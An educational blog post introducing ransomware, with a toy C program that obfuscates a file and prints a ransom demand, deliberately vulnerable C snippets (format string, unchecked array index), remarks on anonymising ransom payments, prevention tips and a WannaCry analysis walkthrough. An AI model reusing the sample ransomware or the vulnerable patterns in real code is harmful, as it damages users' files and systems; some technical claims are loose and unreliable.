A “Noob’s” Guide to Ransomware

September 23, 2017 | Views: 11187

Begin Learning Cyber Security for FREE Now!

FREE REGISTRATIONAlready a Member Login Here

4 Noob’s guide to ransomware

DISCLAIMER: For educational and informative purposes only. The author bears no responsibility for any form of usage of the knowledge presented in here.

Every one of us has been a victim of at least one computer malware infection at some point in our lives. There is no need to specifically mention the havoc that WannaCry and Peytra ransomware have wrecked lately. With the growing number of hackers worldwide, owing to the ease of accessibility of tools, hijacking a system is now a kid’s game. Sadly, though, the knowledge of preventing such hijacks, has not been understood by the population. This imbalance, where the number of people who try to hijack is greater than the number of people who even wish to secure themselves, is where the root of the problem is.

The current article aims to take a brief walkthrough about ransomware, a strain of computer malware that has become increasingly popular in these days.

Introduction

Malware is a coded term for malicious software, which performs malicious actions on a machine.  There are many variants of malware. Virus, Trojan, Worm, Rootkit, Bootkit, Ransomware, Botnet etc.

Ransomware is a strain of malware that once run on a machine, encrypts all the critical data stores on the machine and asks for a certain amount of ransom to be paid if the files are to be decrypted. Modern ransomware uses advanced 256 bit AES and/or 2048 bit RSA ciphers to make the files practically un-decryptable without the key.

Diving deep into technical aspects –

Q1. How does one create ransomware?

Ans. Ransomware, or any other malware in general, is particularly easy to create. Just about any programing language would suffice. For instance, the following piece of C code is a simple ransomware that’d ruin the life of a photographer.

#include<stdio.h>

void main(){

  FILE* old=fopen(“wedding.psd”,”r+”);

  FILE* new=fopen(“peek-a-boo.psd”,”w+”);

  if(old && new){

    char c=fgetc(old);

    while(c!=EOF){

      c=(char)(((int)c)+1);

      fputc(c,new);

      c=fgetc(old);

    }

  fclose(old);

  fclose(new);

  remove(“wedding.psd”);

  rename(“peek-a-boo.psd”,”wedding.psd”);

  printf(“Your critical file has been encrypted. Pay to decrypt”);

  }

  else{exit(0);}

}

Although modern malware authors are far more sophisticated than this, this should give you an idea of how they are made.

Q2. How do they work?

Ans. Almost every attack out there makes use of a weakness in the system. The weakness can be a software vulnerability or human ignorance.

Software vulnerability…

A vulnerability in a program can be the result of poorly written code with little to zero sanitisation of the input. Every operating system is written in a compiled language like C/C++/Basic etc. that run code directly on the machine. Which means they can directly access memory. The only layer of protection that is available is added by the kernel, dividing the entire memory into user space and kernel space, which can only be accessed by the kernel. When a vulnerable program is encountered, often the target is to make it do stuff it wasn’t programmed to do. This happens by corrupting the memory of the original program at run time, by either changing its parameters, or by crafting suitable input that changes the target return address (EIP) or, worse, by changing the entire program’s code in memory.

Changing parameters is the most common, for eg,

printf(argv[1]);

Imagine passing “%200x” as the command line argument. The real fun begins when “%n” format specifier is used which writes to arbitrary locations in memory.

A major target for exploits is to change the value of the EIP register. Once the Instruction Pointer is in control, you have the choice of executing any code that you want. The usual practice is to make this point to some function inside the kernel and make the kernel invoke the exploit program. And since the kernel is directly invoking a program, the privileges of the kernel are inherited, and the exploit runs with full privileges on the hardware.

Although not very common, once a vulnerable process gives control of the EIP, the exploit invokes the kernel and copies its own code into the vulnerable process code. For eg, VirtualAllocEx() is a standard function present in the kernel32.dll library of windows machines that allows a process to inject memory into another process and write data to it (Maybe IPC?). These attacks are also called dynamic forking attacks.

Human Ignorance

A good number of cases prove that the lack of awareness of cyber threats among end users is the reason why computer attacks happen in the first place. The “ I LOVE YOU” worm is the best example. It was possible only because people didn’t know how to check for file extensions. Even in these days, it isn’t uncommon to see people downloading stuff like “Easy Facebook password cracker”, “Free Browser Scanner”, “Free Photoshop Keygen” and stuff like that. A lot of free antivirus software are malware in disguise.  Adobe Photoshop uses a DLL file called amtlib.dll that performs the required setup runtime of Adobe Photoshop including licence checks. People claim to give cracked versions of the DLL that would grant lifetime licence. A DLL is also an executable file, and it could do everything a normal executable can do, including being malicious.

Q3. Why can’t the attacker be traced?

Ans. The ransom demanded by the attackers isn’t always in the form of money. The attackers demand something more complicated than the normal Paytm wallets or Paypal balances. Not even bank accounts are disclosed. The transactions happen through something called bitcoins. A bitcoin is a crypto currency that is more of a property than currency. The value of a bitcoin fluctuates, just like the value of land or gold. Briefly, every bitcoin owner is given a unique cryptographic hash called the wallet. Transferring money between wallets happens through intermediate nodes called miners. A miner solves a mathematical problem related to the bitcoin hash which validates the transaction. This gives the miner a few bitcoins in return. The transaction record is then posted to the Blockchain, which is a publicly available ledger of all crypto currency transactions. Since a bitcoin wallet address, a cryptographic hash, is the only unit of identity, no personally identifying information is obtained, it is next to impossible to trace the account holder.

Added to this, there are a lot of VPNs, Free Proxies and anonymizing software that mask your original identity over the internet. The freely available TOR project is the best anonymizing software out there.

Added to all this the ransomware is released in mass to a set of helpdesk email IDs of target organizations, since help desks are usually the least technically equipped people. The users have little to zero knowledge on how to identify a legitimate email from a fake email. There are several free/paid services online that provide free fake emails. In some cases, temporary mails can be generated too. Check out Temp Mail.

Q4. Why is my machine even vulnerable?

Ans. Every machine is vulnerable. There are people who constantly hunt for programing mistakes in software and craft exploits out of them. As a simple case, take the following piece of code

#include<stdio.h>

 

int main(int argc, const char** argv){

  unsigned long arr[10];

  arr[atoi(argv[1])]=atol(argv[2]);

}

 

The following innocent looking piece of code seems appropriate for a class of data structures, but realise that the return address of main is saved on the stack, on top of which the array is stored. Write to sufficiently distant space and you’d have overwritten the return address, taking control of the processor.

Adding a simple conditional like if(atoi(arv[1])<10) would’ve saved the day.

Q5. What next?

Ans. If you have been a victim of a ransomware attack, there is a less that 1% chance that you can get your files back. Sometimes, the attackers won’t decrypt your files even after you pay the ransom. However, sometimes, there may be a possibility to decrypt the files if a weak cryptographic function is used. If you are a victim of the WannaCry attack, there is a freely available decryption tool available at Github under the name WannaKiwi. Still, the possibility of recovering files is very low. In other cases, bless you!

Q6. How do I save myself?

Ans. Prevention is better than cure. The following methods can be used to keep yourself safe to an extent.

1.      Make a habit of regularly backing up your data.

2.      Don’t use pirated software. (Sorry, no torrents also)

3.      Don’t open/download ANY email attachments.  

4.      Always use a Virtual Machine to run newly downloaded software from sources which aren’t the original distributor.

5.      If you are an IT professional, always develop code that handles memory by enforcing protections.

6.      Get to know the common ways to analyse an application’s behaviour. Use a sandbox. Avast antivirus comes with an inbuilt sandbox.

7.      Get your files scanned by virus total.

8.      Since an antivirus utility is not always reliable, use the process of hash verification. Every software now-a-days provides a hash for their application. Verify the hash with the hash generated by your application. You can view file hashes in windows using power shell.

On windows use either of the two commands

Command prompt:

Certutil -hashfile <path> <algorithm>

Powershell:

Get-FileHash <path> -Algorithm <algorithm>

Linux:

<algorithm> <file>

9.      Patch your systems regularly. Always update to the latest versions, install all the provided security patches.

10.  Do not click on links or URLs that come from unverified sources.

 

BONUS: A CASE-STUDY OF WANNACRY

In this section let us see a practical example of a malware sample and how one can identify its common properties and identify what it does. This article should help you identify and distinguish between benign and malicious executables.

*****Do not try this on machines with important data*****

There are two stages of analysing a malware. Static analysis and dynamic analysis. Static analysis refers to the stage where one would simply examine the applications structure, library imports and exports and other stuff that can be examined without allowing the application to run. Dynamic analysis is the stage of allowing the application to run and pausing the execution at various intervals to see and monitor its activity in run time.

Since this is a windows executable, for safety issues, we will use Linux for the initial static analysis.

Step 1. Identify if the application is packed/encrypted

A packed application is a compressed application. It is different from an encrypted application. Using the ‘file’ command we understand that the application is both encrypted and packed(compressed).

This gives us an idea that the application is something strange and unusual. Why would someone encrypt an application? Military level secrets? Nope. Wants to evade detection? Maybe. And compressing the application hints that it wants to spread easily.

We also see that the application has a dropper, which contains the compressed form of the encrypted files.

Step 2. Check for all strings in the application

Since the dropper itself is unencrypted, as it must run initially to place the malware, using the ‘strings’ command on the dropper reveals some stray domains. This is the first hint that the file is not safe to use. It also contains strings that refer to standard file types, it contains strings like Microsoft Advanced AES and RSA cryptographic service. It contains strings that refer to standard system binaries etc. All these hint at the binary being malicious. Static disassembly of the dropper using a disassembler shows that the dropper makes a request to the domain found earlier, and if it does not get a reply it proceeds with its activities.

Step 3. Decompress the files using winzip/other decompression tools on Linux

Decompressing the files reveals an exe file. Open the exe file again with a compression utility and you will see a few files with the .wnry extension. One file, c.wnry contains a list of .onion domains. A .onion domain is a service inside the darkweb, using the TOR service to run. Another file, s.wnry contains references to a few standard TOR libraries and services. This confirms the file is a malware. Brave hearted people may go further beyond till the last point of running the malware to confirm.

Step 4. Dynamic Analysis

 *Caution: Use a Virtual Machine with restricted internet access. *

We will need a windows test machine with a debugger, process explorer and wireshark. Attach a debugger to the process and run the program. We see that the following happen:

i)                    First the dropper is run and wireshark shows a HTTP request to the random domain we found in step 1. If it gets a response the process terminates.

ii)                  The dropper executes and process explorer shows multiple child processes being spawned. A vbs file and a batch script file are created and run. The program creates a random string folder in C:Programs and places a three files in the folder. The vbs file and batch script use a set of commands that grant full permissions to the current working folder and attempts to delete shadow files, the standard backups of files done by windows periodically.

iii)                A msg folder is created that contains the ransom note in various languages. Viewing the note reveals that it was translated using a bot, and not human generated. Which means the attackers were localised and not distributed?

iv)                Among the three binaries dropped, one is the decryptor service, named as @WannaDecryptor@.exe (the u.wnry encrypted file)

v)                  The other files are also executables named taskdl.exe and taskse.exe

vi)                At this point the dropper has completed its part and we can see the TOR files created. And now the actual process of encryption starts. The files start to be encrypted one by one, adding an extension of .WNCRYPT.

vii)               A few registry keys are added.

viii)             Enabling a hardware break point directly places the malware into memory with none of it on disk.

ix)                 Communication via the TOR relays start and the malware starts to use a vulnerability in windows SMB protocol to spread to other machines.

x)                  The ransomware executes and displays the ransom note.

For information, a flaw in WannaCry is that it generates two large prime numbers to generate the private and public keys used for decryption and encryption respectively. Before terminating, the malware does not free the memory and hence the two prime numbers remain in memory. If you have not rebooted your machine since the point of attack, or atleast have a dump of the entire process memory, it is possible to get the primes and extract the keys, thereby generating the decryption key.

Conclusions:

Understand that absolute security is a myth. Computers are inherently hackable by design. Every computer on this planet uses the traditional Von-Neumann architecture that does not distinguish between data and instructions, allowing one to be corrupted by the other. Which leads to data breaches, memory corruption and ultimately complete system compromise.

 

The only way to stay safe is to exercise caution. WannaCry made use of a leaked NSA windows exploit named Eternal Blue. This exploit was used to spread the program inside a network, on TCP ports 139 and 445. The sad part is that although windows released a patch for its operating system that eliminated the issue much before wannacry struck, many systems were not updated. The patch arrived as bundled with other patches which indirectly patched the vulnerability. Use of updated software with the latest security patches never hurts. 

Share with Friends
FacebookTwitterLinkedInEmail
Use Cybytes and
Tip the Author!
Join
Share with Friends
FacebookTwitterLinkedInEmail
Ready to share your knowledge and expertise?
5 Comments
  1. Thanks for the info

  2. Appreciate this 🙂

  3. Great stuff!!!

  4. Great Article….Thanks bro.

  5. Great article! Thanks for your contribution.

Comment on This

You must be logged in to post a comment.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge

 

Cybrary|0P3N

Is Linux Worth Learning in 2020?
Views: 739 / December 14, 2019
How do I Get MTA Certified?
Views: 1311 / December 12, 2019
How much does your PAM software really cost?
Views: 1748 / December 10, 2019
How Do I Get into Android Development?
Views: 2138 / December 8, 2019

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel